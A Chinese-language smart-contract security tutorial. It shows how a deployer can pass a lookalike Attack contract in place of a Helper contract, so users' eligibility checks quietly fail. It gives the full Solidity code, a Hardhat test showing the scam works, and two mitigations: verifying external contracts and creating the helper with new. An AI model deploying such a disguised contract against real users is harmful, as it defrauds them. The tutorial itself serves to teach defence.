在加密货币世界中,你会经常听到关于看起来合法的合约是如何成为大骗局背后的原因。黑客是如何从一个看起来合法的合约中执行恶意代码 的呢?
我们今天将学习一种方法。
将有三个合约--Attack.sol、Helper.sol和Good.sol。用户将能够使用Good.sol输 入一个资格列表,它将进一步调用Helper.sol来跟踪所有符合条件的用户。
Attack.sol将被设计成可以操纵资格名单的方式,让我们看看如何
让我们构建一个示例,您可以在其中体验攻击是如何发生的。
npm init --yesnpm install --save-dev hardhat
npm install --save-dev @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers
npx hardhat
现在你有一个准备好的hardhat项目了!
首先,在contracts目录内创建一个新文件,名为Good.sol
//SPDX-License-Identifier: MITpragma solidity ^0.8.4;import "./Helper.sol";contract Good { Helper helper; constructor(address _helper) payable { helper = Helper(_helper); } function isUserEligible() public view returns(bool) { return helper.isUserEligible(msg.sender); } function addUserToList() public { helper.setUserEligible(msg.sender); } fallback() external {} }
创建Good.sol后,在contracts目录内创建一个新文件,命名为Helper.sol
//SPDX-License-Identifier: MITpragma solidity ^0.8.4;contract Helper { mapping(address => bool) userEligible; function isUserEligible(address user) public view returns(bool) { return userEligible[user]; } function setUserEligible(address user) public { userEligible[user] = true; } fallback() external {}}
我们将在contracts目录中创建的最后一个合约是Attack.sol。
//SPDX-License-Identifier: MITpragma solidity ^0.8.4;contract Attack { address owner; mapping(address => bool) userEligible; constructor() { owner = msg.sender; } function isUserEligible(address user) public view returns(bool) { if(user == owner) { return true; } return false; } function setUserEligible(address user) public { userEligible[user] = true; } fallback() external {}}
你会注意到,关于Attack.sol的事实是,它将生成与Helper.sol相同的ABI,尽管它里面有不同的代码。这是因为ABI只包含公共变量、函数和事件的函数定义。所以Attack.sol可以被类型化为Helper.sol。
现在,由于Attack.sol可以被打造成Helper.sol,恶意的所有者可以用Attack.sol的地址而不是Helper.sol来部署Good.sol,用户会认为他确实在使用Helper.sol来创建资格名单。
在我们的案例中,该骗局将发生如下情况。诈骗者首先会用Attack.sol的地址部署Good.sol。然后,当用户使用addUserToList函数进入资格列表时,由于Helper.sol和Attack.sol中该函数的代码相同,所以工作正常。
当用户试图用他的地址调用isUserEligible时,将观察到真正的颜色,因为现在这个函数总是返回false,因为它调用Attack.sol的isUserEligible函数,该函数总是返回false,除非是主人自己,这本来是不应该发生的。
让我们试着写一个测试用例,看看这个骗局是否真的有效,在test文件夹中创建一个新文件,名为attack.js。
const { expect } = require("chai");const { BigNumber } = require("ethers");const { ethers, waffle } = require("hardhat");describe("Attack", function () { it("Should change the owner of the Good contract", async function () { // Deploy the Attack contract const attackContract = await ethers.getContractFactory("Attack"); const _attackContract = await attackContract.deploy(); await _attackContract.deployed(); console.log("Attack Contract's Address", _attackContract.address); // Deploy the good contract const goodContract = await ethers.getContractFactory("Good"); const _goodContract = await goodContract.deploy(_attackContract.address, { value: ethers.utils.parseEther("3"), }); await _goodContract.deployed(); console.log("Good Contract's Address:", _goodContract.address); const [_, addr1] = await ethers.getSigners(); // Now lets add an address to the eligibility list let tx = await _goodContract.connect(addr1).addUserToList(); await tx.wait(); // check if the user is eligible const eligible = await _goodContract.connect(addr1).isUserEligible(); expect(eligible).to.equal(false); });});
要运行这个测试,打开你的终端,指向这个级别的目录根,执行这个命令。
npx hardhat test
如果你的所有测试都通过了,这就意味着骗局成功了,用户将永远不会被确定为合格者
将外部合约的地址公开,同时让你的外部合约得到验证,以便所有用户可以查看代码
创建一个新的合约,而不是在构造函数中把一个地址类型化为一个合约。因此,与其做Helper(_helper),将_helper地址类型化到一个可能是也可能不是Helper的合约中,不如使用new Helper()创建一个明确的新的helper合约实例。
案例:
contract Good { Helper public helper; constructor() { helper = new Helper(); }}
看,还有很多要学的东西吧?
留言与评论(共有 0 条评论) “” |